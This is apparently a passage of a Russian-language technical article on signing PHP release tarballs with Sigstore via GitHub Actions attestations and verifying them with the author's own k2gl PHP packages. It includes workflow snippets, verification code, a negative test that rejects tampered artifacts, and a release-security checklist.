Триггер только на релизные теги. tags: ['[0-9]*.[0-9]*.[0-9]*'] — подпись чеканится исключительно при пуше версионного тега. Никаких workflow_dispatch и tags: ['*']: кто может создать релизный тег, тот может выпустить подписанный релиз, и сужать это право критично (к нему вернёмся в чек-листе).

Секретов нет. id-token: write разрешает джобе получить OIDC-токен; Fulcio обменяет его на короткоживущий сертификат. Приватный ключ генерируется в памяти раннера и умирает с джобой — красть нечего.

Минимальные права, по джобам. Вверху contents: read — дефолт для всего workflow. Право на запись (contents: write, нужное для создания релиза) есть только у джобы release, а право подписи (id-token/attestations: write) — только у attest. Скомпрометируй злоумышленник шаг сборки — у него всё равно нет прав публиковать. Финальной же verify-джобе хватает contents: read: аттестации публичного репозитория отдаются даже анонимно, отдельное разрешение на их чтение не нужно.

Экшены запинены по commit SHA. actions/checkout@df4cb1c0… вместо @v6. Помните переписанные теги tj-actions выше? SHA подменить нельзя. Комментарий # v6.0.3 рядом — чтобы человек видел версию. (Да, это first-party экшены GitHub, которым доверия больше, — но правило должно быть единым, иначе оно не правило.)

git archive, не «архив папки». Tarball собирается из git-объектов конкретного коммита — детерминированно и без мусора рабочей копии. export-ignore в .gitattributes вырезает тесты и CI-конфиги, так что подписываем ровно dist. Оговорка: «детерминированно» не значит «байт-в-байт воспроизводимо в любой среде» — формат архива может зависеть от версий git/gzip. Именно поэтому подписанные байты надо публиковать, а не надеяться сгенерировать их заново.

Подписанные байты выкладываются в релиз. Это тот пункт, без которого вся затея — театр: артефакт из Actions живёт 90 дней и требует логина. Джоба release прикладывает к GitHub Release и tarball, и его бандл (*.sigstore.jsonl) — теперь их может скачать кто угодно и когда угодно. Хвост || gh release upload --clobber делает джобу идемпотентной: ре-ран на существующем релизе не падает, а перезаливает ассеты.

Пайплайн проверяет сам себя. Финальная джоба verify скачивает опубликованный релиз и прогоняет gh attestation verify дважды: с аттестацией из API GitHub и по бандлу-файлу из ассетов релиза — оба пути доставки проверены. Это и проверка, что мы ничего не сломали, и постоянный смоук-тест подписи на каждом релизе.

Скачивается аттестация одной командой:

$ gh attestation download dsse-1.1.1.tar.gz --repo k2gl/dsse
Wrote attestations to file sha256:7a719ac2…9f7ba.jsonl

Внутри — Sigstore bundle (application/vnd.dev.sigstore.bundle.v0.3+json): сертификат Fulcio, DSSE-конверт с подписанным in-toto Statement и запись Rekor с inclusion proof. Всё для проверки — в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Содержимое *.sigstore.jsonl: сертификат Fulcio (кто подписал), DSSE-конверт с in-toto Statement (что подписано) и запись Rekor (доказательство) — всё для оффлайн-проверки в одном JSON.

Верифицируем из PHP

Сразу прозрачно: пакеты, на которых всё показано ниже, — мои, я их мейнтейню. Это не оговорка, а причина показывать именно на них — вы видите рабочий стек на боевом релизе, а не псевдокод. Контекст простой: официального Sigstore-клиента для PHP не существует (для Go, Python, JS, Rust, Java, Ruby — есть; для PHP был php-tuf, но это TUF-клиент, а не верификатор Sigstore-подписей). Эту нишу и закрывает стек k2gl/*.

Ставится он, само собой, через composer require — как sigstore-python через pip; гарантия тут не в канале, а в том, что код открыт и сам пакет подписан тем же механизмом, что мы проверяем.

Самый быстрый путь — CLI

Пакет везёт бинарь без зависимостей. Это то, что вставляется в пайплайн одной строкой:

$ composer require k2gl/sigstore-verify
$ vendor/bin/sigstore-verify dsse-1.1.1.tar.gz dsse-1.1.1.tar.gz.sigstore.jsonl \
    --repository k2gl/dsse --workflow attest.yml --ref refs/tags/1.1.1
VERIFIED
subject:   dsse-1.1.1.tar.gz (sha256:7a719ac27ce8c64af4992222213dcbfc240d412719e0b5e6107392f4e6c9f7ba)
predicate: https://slsa.dev/provenance/v1

Код возврата 0 — проверено; любая проблема печатает причину и возвращает 1. --trusted-root path делает прогон полностью оффлайн; для не-GitHub подписантов есть --san/--issuer. JSON Lines с несколькими бандлами тоже понимает (успех, если верифицируется хотя бы один).

Из кода — с типизированным провенансом

Когда нужно проверять артефакт внутри приложения (маркетплейс плагинов, самообновление, приём загружаемых модулей), а не в шелле, — то же самое из PHP:

<?php

declare(strict_types=1);

require __DIR__ . '/vendor/autoload.php';

use K2gl\InToto\Statement;
use K2gl\Sigstore\Bundle;
use K2gl\Sigstore\IdentityPolicy;
use K2gl\Sigstore\SigstoreVerifier;
use K2gl\Sigstore\SubjectPolicy;
use K2gl\Sigstore\TrustedRoot;
use K2gl\Slsa\Provenance;

$artifact = 'dsse-1.1.1.tar.gz';

// `gh attestation download` writes JSON Lines: one Sigstore bundle per line.
$lines = file('dsse-1.1.1.tar.gz.sigstore.jsonl', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
$bundle = Bundle::fromJson($lines[0]);

// Fetch the Sigstore public-good trusted root via TUF — the only network call here.
$trustedRoot = TrustedRoot::fromSigstorePublicGood();

// Who must have signed: this repository's attest.yml workflow on this release tag.
$identity = IdentityPolicy::githubActions(
    repository: 'k2gl/dsse',
    workflow: 'attest.yml',
    ref: 'refs/tags/1.1.1',
);

// What must have been signed: this exact file.
$subject = new SubjectPolicy('sha256', hash_file('sha256', $artifact));

$envelope = (new SigstoreVerifier)->verify(
    bundle: $bundle,
    trustedRoot: $trustedRoot,
    identityPolicy: $identity,
    subjectPolicy: $subject,
);

// The payload is authenticated now — model it with the typed packages.
$statement = Statement::fromEnvelope($envelope);
$provenance = Provenance::fromStatement($statement);

echo "VERIFIED\n";
echo 'builder: ' . $provenance->runDetails->builder->id . "\n";
echo 'commit:  ' . $provenance->buildDefinition->resolvedDependencies[0]->digest['gitCommit'] . "\n";
$ php verify.php

VERIFIED
builder: https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
commit:  d9716be40f51e2bc32f6328a4f1830dd12156a45

Три объекта в этом коде несут всю суть.

TrustedRoot — единственный поход в сеть. fromSigstorePublicGood() один раз скачивает доверенные корневые ключи Sigstore через TUF-клиент (k2gl/tuf): тот проходит цепочку метаданных root → timestamp → snapshot → targets и проверяет подписи на каждом шаге. Это единственное место, где код вообще ходит в сеть. Хотите полный оффлайн — один раз сохраните trusted_root.json и грузите TrustedRoot::fromJson(); сам верификатор в сеть не ходит никогда. Только учтите: устаревший или подменённый trusted root тихо обесценивает всю проверку — поэтому его и обновляют через TUF.

IdentityPolicyкто подписал. Сертификат Fulcio удостоверяет не человека, а workflow:

SAN:    https://github.com/k2gl/dsse/.github/workflows/attest.yml@refs/tags/1.1.1
issuer: https://token.actions.githubusercontent.com

Фабрика githubActions() собирает проверку этого SAN. Деталь, на которой легко обжечься: ref в SAN — это триггер workflow. Подпись с ветки даёт @refs/heads/main, релизная по тегу — @refs/tags/1.1.1. Для релизов закладывайтесь на теги (ref: 'refs/tags/' . $version) — это заодно прибивает ту самую rollback-атаку из таблицы угроз: артефакт обязан быть собран из ожидаемого тега. Есть и gitlabCi(), и общий sanRegex().

Это ядро всей модели: «артефакт подписан» само по себе не значит ничего — подписать умеет и злоумышленник. Значит только «подписан тем, кому я доверяю собирать».

SubjectPolicyчто подписано. Требует, чтобы sha256 файла на диске присутствовал в subject аттестации. Без неё можно подсунуть валидную аттестацию другого артефакта того же автора.

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).

Две политики проверки: IdentityPolicy отвечает на «кто подписал» (разбор SAN), SubjectPolicy — на «что подписано» (sha256 файла == subject в аттестации).

А под капотом verify() за один вызов проверяет всю цепочку, и отказ любого звена — исключение:

  • сертификат выпущен CA из trusted root и был валиден на момент подписи;

  • SCT (Certificate Transparency) сертификата подписан известным CT-логом;

  • DSSE-подпись сходится с публичным ключом сертификата;

  • запись Rekor соответствует конверту, inclusion proof сходится к checkpoint, checkpoint подписан ключом журнала из trusted root, signed entry timestamp валиден;

  • время из журнала попадает в срок жизни сертификата;

  • identity и subject policy выполнены.

Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

Цепочка verify(): шесть звеньев, и отказ любого — исключение (fail-closed), а не тихий «verified».

Стоит задержаться на строчке про Rekor — за ней прячется самое неинтуитивное. Rekor устроен как Merkle-дерево (тот же принцип, что Certificate Transparency для TLS, RFC 6962): каждая подпись — лист, у дерева есть корневой хеш. Bundle несёт в себе inclusion proof — цепочку соседних хешей от вашего листа до корня. Верификатор пересчитывает корень из вашей записи и этого пути; результат обязан совпасть с checkpoint — подписанным «снимком» дерева (его размер + корневой хеш), а подпись checkpoint’а проверяется ключом Rekor из trusted root. Плюс SET (signed entry timestamp) фиксирует момент попадания записи в журнал — и этот момент обязан укладываться в ~10-минутное окно жизни эфемерного сертификата.

Два следствия. Во-первых, всё это лежит в bundle целиком — проверка inclusion proof не требует похода в Rekor, поэтому и возможен полный оффлайн. Во-вторых, запись математически нельзя «вынуть» задним числом, не сломав корень: отсюда и «неизменяемый журнал» из первой половины — подпись от имени вашего workflow физически не спрятать.

Заодно про то, что подписано в DSSE: подписывается не голый payload, а его PAE (pre-authentication encoding) — строка вида DSSEv1 SP len(type) SP type SP len(body) SP body. Явные длины и тип в подписи убирают целый класс атак на неоднозначность границ полей.

И ещё одно опасение снимем сразу: «самописная криптография на PHP?» — нет. Примитивы не свои: ECDSA/RSA — ext-openssl и phpseclib, Ed25519 — ext-sodium. Своя только протокольная логика (разбор бандла, цепочка проверок) — ровно то, что покрыто conformance.

Fail-closed: проверяем, что проверка проверяет

Верификатор, который зелёный всегда, хуже его отсутствия — он создаёт ложную уверенность. Поэтому к demo приложен negative.php: две атаки против настоящего бандла. Портим артефакт на байт и подставляем чужой репозиторий в identity:

$ php negative.php
OK: tampered artifact rejected — Attestation subject does not include the
    expected sha256 digest "c78b374858d64db6c229d302f86f0052afad45b905a4a79ba91657404f5eb057".
OK: wrong identity rejected — Certificate identity does not include the expected
    SAN "https://github.com/evil/dsse/.github/workflows/attest.yml@refs/tags/1.1.1".
fail-closed works

Та же философия — на неподдержанное: экзотический алгоритм или незнакомый формат бандла даёт UnsupportedBundleException, а не тихий «verified».

Встраиваем в CI/CD: гейт, мониторинг, реагирование

Подпись и проверка — половина дела. Вторая — встроить их в процессы.

Гейт в деплое. Самый честный сценарий ценности (помните честную рамку выше — для библиотек через composer install подпись канал не закрывает): вы деплоите файловый артефакт — PHAR, tarball релиза, образ — и хотите проверить его перед выкаткой. Шаг в пайплайне потребителя:

      - name: Verify release before deploy
        env:
          GH_TOKEN: ${{ github.token }}
        run: |
          gh release download "$VERSION" --repo acme/app --pattern '*.tar.gz' --pattern '*.sigstore.jsonl'
          vendor/bin/sigstore-verify "app-${VERSION}.tar.gz" "app-${VERSION}.tar.gz.sigstore.jsonl" \
            --repository acme/app --workflow attest.yml --ref "refs/tags/${VERSION}" \
            --trusted-root trusted_root.json

Семантика отказа важна: при SigstoreException гейт останавливает деплой и поднимает алерт, а не пишет warning в лог. Не верифицируется — не выкатываем.

Мониторинг журнала. Прозрачность Rekor — это бесплатная сигнализация (мы разобрали её устройство выше). Если от имени вашего workflow в журнале появилась подпись, которой вы не делали, это видно. Следить за этим можно готовым rekor-monitor — у меня это weekly-workflow, который ищет в журнале сертификаты, выписанные на любую мою attest.yml identity, и заводит issue на расхождении:

name: Attestation watch
on:
  schedule:
    - cron: '23 6 * * 1' # weekly
  workflow_dispatch:
permissions: read-all
jobs:
  rekor-identity-monitor:
    permissions:
      contents: read
      issues: write
      id-token: write
    uses: sigstore/rekor-monitor/.github/workflows/reusable_monitoring.yml@<pin-sha> # main
    with:
      file_issue: true
      artifact_retention_days: 14
      config: |
        monitoredValues:
          certIdentities:
            - certSubject: https://github\.com/acme/[^/]+/\.github/workflows/attest\.yml@.+
              issuers:
                - https://token\.actions\.githubusercontent\.com

План на инцидент. Если подпись, которой вы не делали, всё-таки появилась (угнали аккаунт, утёк токен): отозвать креды и PAT, ротировать всё; снять вредоносную версию с Packagist и удалить тег/релиз; выпустить advisory (GitHub Security Advisory) и фикс-релиз; провести пост-мортем — и вот тут провенанс окупается: gitCommit из аттестаций даёт криптографически доказанный ответ, какой именно коммит и какая джоба породили каждый артефакт.

Чек-лист и когда вам это (не) нужно

Минимум, который превращает «у нас есть подпись» в «у нас защищённый релиз»:

  1. main под branch protection: PR + ревью, без force-push (соло-мейнтейнеру — как минимум PR + запрет force-push, гейтом служит CI; обязательное ревью — там, где есть второй мейнтейнер);

  2. 2FA у всех с правами на репозиторий и Packagist;

  3. tag protection / ruleset: создавать релизные теги может только мейнтейнер (триггер подписи = право чеканить релизы);

  4. сторонние экшены запинены по SHA;

  5. permissions минимальны, право подписи/записи — точечно по джобам;

  6. вечные секреты заменены на OIDC;

  7. attest.yml на релизных тегах, подписанные байты — в Release;

  8. у потребителя — гейт верификации перед деплоем;

  9. мониторинг Rekor включён.

И честная таблица — кому это сколько даёт сегодня:

Ваш случай

Нужно ли

Мейнтейнер публичной библиотеки

Подписывайте. Минимальная подпись — ~38 строк, бесплатно. Канал composer install это пока не закрывает, но провенанс — проверяемое доказательство происхождения релиза

Деплой PHAR/tarball/образов файлами

Обязательно верифицируйте — здесь подпись закрывает доставку целиком

Зависимости только через composer install из Packagist

Ценность пока ограничена (см. рамку про zipball); подписывайте свои релизы на будущее

Внутренний код без внешних артефактов

Сегодня вам это не нужно — честно

Стек

Все пакеты — PHP ≥ 8.1, PHPStan level 9, MIT, без обязательных расширений (openssl/sodium подхватываются, если есть):

Всё из статьи — clone-and-run в companion-репозитории k2gl/sigstore-php-demo: composer install и сразу проверяете настоящий подписанный релиз, в том числе полностью оффлайн.

Куда дальше

  1. Добавьте attest.yml (выше) в свой репозиторий и пройдите чек-лист.

  2. Пушните релизный тег — подпись и Release с артефактами появятся сами.

  3. Проверьте результат: gh attestation verify, CLI или код из статьи.

Повторю границу применимости, потому что это важнее любого энтузиазма: composer require тянет zipball, который GitHub генерирует из тега на лету, — подписать «то, что скачает composer», нечего. Подпись артефакта работает там, где артефакт — фиксированный файл (PHAR, релизы, образы, внутренние реестры), и как доказательство происхождения. Если Composer-экосистема дозреет до нативных аттестаций (как сделали npm и PyPI) — проверочная сторона на PHP уже готова.

Issues и фичреквесты — в k2gl/sigstore-verify. Особенно ценны реальные бандлы, которые верификатор отверг: fail-closed — это контракт, и каждый такой случай либо дыра в спецификации, либо мой будущий релиз. Несите. Замечания и несогласие в комментариях приветствуются — особенно по модели угроз.